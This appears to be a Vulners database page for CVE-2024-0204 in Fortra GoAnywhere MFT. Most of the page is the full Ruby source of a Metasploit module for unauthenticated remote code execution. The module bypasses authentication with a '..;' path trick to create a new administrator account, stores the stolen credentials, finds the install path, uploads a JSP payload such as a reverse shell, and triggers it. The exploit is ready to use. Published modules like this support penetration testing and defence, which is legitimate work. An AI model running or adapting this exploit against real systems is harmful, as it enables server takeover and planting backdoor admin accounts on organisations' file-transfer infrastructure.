| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Exploit for Forced Browsing in Fortra Goanywhere_Managed_File_Transfer | 4 Feb 202401:40 | – | githubexploit | |
| Exploit for Forced Browsing in Fortra Goanywhere_Managed_File_Transfer | 24 Jan 202420:10 | – | githubexploit | |
| Exploit for Forced Browsing in Fortra Goanywhere_Managed_File_Transfer | 23 Jan 202420:16 | – | githubexploit | |
| Exploit for Forced Browsing in Fortra Goanywhere_Managed_File_Transfer | 23 Jan 202422:42 | – | githubexploit | |
| CVE-2024-0204 | 22 Jan 202419:22 | – | circl | |
| Fortra GoAnywhere MFT Security Vulnerability | 22 Jan 202400:00 | – | cnnvd | |
| CVE-2024-0204 | 22 Jan 202418:05 | – | cve | |
| CVE-2024-0204 Authentication Bypass in GoAnywhere MFT | 22 Jan 202418:05 | – | cvelist | |
| Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass | 29 May 202500:00 | – | exploitdb | |
| Fortra GoAnywhere Managed File Transfer (MFT) < 7.4.1 Authentication Bypass (CVE-2024-0204) | 23 Jan 202400:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF RCE Exploit
'James Horseman', # Original auth bypass PoC/Analysis
'Zach Hanley' # Original auth bypass PoC/Analysis
],
'References' => [
['CVE', '2024-0204'],
['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
],
'DisclosureDate' => '2024-01-22',
'Platform' => %w[linux win],
'Arch' => [ARCH_JAVA],
'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
'Targets' => [
[
# Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
'Automatic', {}
],
[
'Linux',
{
'Platform' => 'linux',
'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
}
],
[
'Windows',
{
'Platform' => 'win',
'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
},
],
],
'DefaultOptions' => {
'RPORT' => 8001,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# A new admin account is created, which the exploit can't destroy.
CONFIG_CHANGES,
# The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
]
)
end
def check
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
json_data = res.get_json_document
product = json_data.dig('data', 'product')
version = json_data.dig('data', 'version')
return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?
# As per the Fortra advisory, the following version are affected:
# * Fortra GoAnywhere MFT 6.x from 6.0.1
# * Fortra GoAnywhere MFT 7.x before 7.4.1
# This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
return CheckCode::Appears("#{product} #{version}")
end
Exploit::CheckCode::Safe("#{product} #{version}")
end
def exploit
# CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
# we generate the username/password pair we want to use.
# Note: We cannot delete the administrator account that we create.
admin_username = Rex::Text.rand_text_alpha_lower(8)
admin_password = Rex::Text.rand_text_alphanumeric(16)
# By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
# the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
# dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
# a random one that we know works.
path_segments = %w[styles fonts auth help]
path_segment = path_segments.sample
# This is CVE-2024-0204...
initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
'j_id_u:creteAdminGrid:username' => admin_username,
'j_id_u:creteAdminGrid:password' => admin_password,
'j_id_u:creteAdminGrid:password_hinput' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
'j_id_u:creteAdminGrid:submitButton' => '',
'createAdminForm_SUBMIT' => 1
}
)
# The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
# loginNewAdminUser and update our current session, so we dont need to manually login.
unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
end
print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")
store_credentials(admin_username, admin_password)
# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
if target.name == 'Automatic'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
end
# The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
# the Java system property "os.name".
os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
unless os_match
fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
end
# To perform the JSP payload upload, we need to know the product installation path.
install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
unless install_match
fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
end
# Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
found_target = targets.find do |t|
os_match[1].downcase.include? t.name.downcase
end
unless found_target
fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
end
# Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
detected_target = found_target.dup
detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]
print_status("Automatic targeting, detected OS: #{detected_target.name}")
print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
else
detected_target = target
end
# We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
# change to the directory we want to upload to, then upload the file.
path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'
# We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
adminroot_path += path_separator unless adminroot_path.end_with? path_separator
adminroot_path += 'adminroot'
adminroot_path += path_separator
viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'j_id_4u:j_id_4v:newPath_focus' => '',
'j_id_4u:j_id_4v:newPath_input' => '/',
'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
'j_id_4u:j_id_4v:NewPathButton' => '',
'j_id_4u_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
end
# We require a regID value form the page to upload a file, so we pull that out here.
vs_input = res.get_html_document.at('input[name="reqId"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
end
request_id = vs_input['value']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'javax.faces.partial.ajax' => 'true',
'javax.faces.source' => 'uploadID',
'javax.faces.partial.execute' => 'uploadID',
'javax.faces.partial.render' => '@none',
'uploadID' => 'uploadID',
'uploadID_sessionCheck' => 'true',
'reqId' => request_id,
'whenFileExists_focus' => '',
'whenFileExists_input' => 'rename',
'uploaderType' => 'filemanager',
'j_id_4i_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
end
jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'
message = Rex::MIME::Message.new
message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")
# We can now upload our payload...
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
end
# Register our payload so it is deleted when the session is created.
jsp_filepath = adminroot_path + jsp_filename
print_status("Dropped payload: #{jsp_filepath}")
# We are using the FileDropper mixin to automatically delete this file after a session has been created.
register_file_for_cleanup(jsp_filepath)
# A copy of the files this user uploads is left here:
# /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
# We register these to be deleted, but they appear to be locked, preventing deleting.
userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
userdoc_path += path_separator unless userdoc_path.end_with? path_separator
userdoc_path += 'userdata'
userdoc_path += path_separator
userdoc_path += 'documents'
userdoc_path += path_separator
userdoc_path += admin_username
userdoc_path += path_separator
register_file_for_cleanup(userdoc_path + jsp_filename)
register_dir_for_cleanup(userdoc_path)
# Finally, trigger our payload via a GET request...
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
# NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
# interface or REST API.
end
# Helper method to pull out a viewstate identifier from a requests HTML response.
def get_viewstate(endpoint)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
end
vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
end
vs_input['value']
end
def store_credentials(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'GoAnywhere MFT Admin Interface',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation